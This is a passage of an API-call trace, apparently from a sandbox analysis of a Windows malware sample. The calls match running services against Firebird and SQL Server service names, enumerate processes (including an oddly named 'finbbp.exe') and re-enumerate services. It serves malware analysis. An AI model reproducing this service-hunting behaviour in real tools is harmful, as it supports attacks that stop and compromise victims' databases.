(lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0274.451] lstrlenW (lpString="NgcSvc") returned 6 [0274.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0274.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0274.699] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0274.699] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0274.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0274.699] lstrlenW (lpString="NlaSvc") returned 6 [0274.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0274.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0274.700] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0274.700] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0274.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0274.700] lstrlenW (lpString="nsi") returned 3 [0274.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0274.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0274.700] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0274.700] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0274.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0274.700] lstrlenW (lpString="PcaSvc") returned 6 [0274.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0274.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0274.700] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0274.700] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0274.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0274.700] lstrlenW (lpString="PlugPlay") returned 8 [0274.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0274.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0274.700] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0274.700] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0274.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0274.701] lstrlenW (lpString="Power") returned 5 [0274.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0274.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0274.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0274.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0274.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0274.701] lstrlenW (lpString="ProfSvc") returned 7 [0274.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0274.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0274.701] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0274.701] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0274.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0274.701] lstrlenW (lpString="RpcEptMapper") returned 12 [0274.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0274.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0274.701] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0274.702] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0274.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0274.702] lstrlenW (lpString="RpcSs") returned 5 [0274.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0274.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0274.702] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0274.702] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0274.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0274.702] lstrlenW (lpString="SamSs") returned 5 [0274.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0274.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0274.702] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0274.702] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0274.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0274.702] lstrlenW (lpString="Schedule") returned 8 [0274.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0274.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0274.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0274.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0274.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0274.703] lstrlenW (lpString="SecurityHealthService") returned 21 [0274.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0274.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0274.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0274.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0274.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0274.703] lstrlenW (lpString="SENS") returned 4 [0274.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0274.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0274.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0274.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0274.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0274.703] lstrlenW (lpString="ShellHWDetection") returned 16 [0274.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0274.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0274.703] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0274.703] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0274.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0274.703] lstrlenW (lpString="Spooler") returned 7 [0274.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0274.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0274.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0274.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0274.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0274.704] lstrlenW (lpString="SSDPSRV") returned 7 [0274.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0274.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0274.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0274.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0274.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0274.704] lstrlenW (lpString="StateRepository") returned 15 [0274.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0274.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0274.704] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0274.704] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0274.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0274.704] lstrlenW (lpString="SysMain") returned 7 [0274.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0274.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0274.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0274.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0274.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0274.704] lstrlenW (lpString="SystemEventsBroker") returned 18 [0274.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0274.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0274.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0274.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0274.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5081068 | out: hHeap=0x670000) returned 1 [0274.705] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x488 [0274.710] Process32FirstW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.710] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0274.711] lstrlenW (lpString="System") returned 6 [0274.711] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0274.711] lstrlenW (lpString="smss.exe") returned 8 [0274.711] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.712] lstrlenW (lpString="csrss.exe") returned 9 [0274.712] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0274.713] lstrlenW (lpString="wininit.exe") returned 11 [0274.713] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.713] lstrlenW (lpString="csrss.exe") returned 9 [0274.713] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0274.714] lstrlenW (lpString="winlogon.exe") returned 12 [0274.714] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0274.715] lstrlenW (lpString="services.exe") returned 12 [0274.715] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0274.715] lstrlenW (lpString="lsass.exe") returned 9 [0274.715] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0274.716] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0274.716] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0274.717] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0274.717] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.717] lstrlenW (lpString="svchost.exe") returned 11 [0274.717] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.718] lstrlenW (lpString="svchost.exe") returned 11 [0274.718] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0274.719] lstrlenW (lpString="dwm.exe") returned 7 [0274.719] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.719] lstrlenW (lpString="svchost.exe") returned 11 [0274.719] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.720] lstrlenW (lpString="svchost.exe") returned 11 [0274.720] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.721] lstrlenW (lpString="svchost.exe") returned 11 [0274.721] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.721] lstrlenW (lpString="svchost.exe") returned 11 [0274.721] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.722] lstrlenW (lpString="svchost.exe") returned 11 [0274.722] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.723] lstrlenW (lpString="svchost.exe") returned 11 [0274.723] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.723] lstrlenW (lpString="svchost.exe") returned 11 [0274.723] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.724] lstrlenW (lpString="svchost.exe") returned 11 [0274.724] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.724] lstrlenW (lpString="svchost.exe") returned 11 [0274.725] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.725] lstrlenW (lpString="svchost.exe") returned 11 [0274.725] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0274.726] lstrlenW (lpString="spoolsv.exe") returned 11 [0274.726] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.726] lstrlenW (lpString="svchost.exe") returned 11 [0274.726] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.727] lstrlenW (lpString="audiodg.exe") returned 11 [0274.727] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0274.728] lstrlenW (lpString="sihost.exe") returned 10 [0274.728] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.728] lstrlenW (lpString="svchost.exe") returned 11 [0274.728] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0274.729] lstrlenW (lpString="taskhostw.exe") returned 13 [0274.729] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0274.729] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0274.729] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0274.730] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0274.730] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0274.731] lstrlenW (lpString="Memory Compression") returned 18 [0274.731] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0274.731] lstrlenW (lpString="explorer.exe") returned 12 [0274.731] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0274.732] lstrlenW (lpString="SearchUI.exe") returned 12 [0274.732] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0274.732] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0274.732] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0274.840] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0274.840] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0274.840] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0274.840] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0274.841] lstrlenW (lpString="finbbp.exe") returned 10 [0274.841] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0274.842] lstrlenW (lpString="consent.exe") returned 11 [0274.842] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.842] lstrlenW (lpString="svchost.exe") returned 11 [0274.842] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0274.843] lstrlenW (lpString="dllhost.exe") returned 11 [0274.843] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0274.843] CloseHandle (hObject=0x488) returned 1 [0274.843] Sleep (dwMilliseconds=0x1f4) [0275.627] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa7b8 [0275.650] EnumServicesStatusExW (in: hSCManager=0x41aa7b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0275.650] GetLastError () returned 0xea [0275.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x42d3ff0 [0275.653] EnumServicesStatusExW (in: hSCManager=0x41aa7b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d3ff0, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d3ff0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0275.654] CloseServiceHandle (hSCObject=0x41aa7b8) returned 1 [0275.654] lstrlenW (lpString="Appinfo") returned 7 [0275.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0275.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0275.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0275.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0275.655] lstrcmpiW (lpString1="sqlserveradhelper", 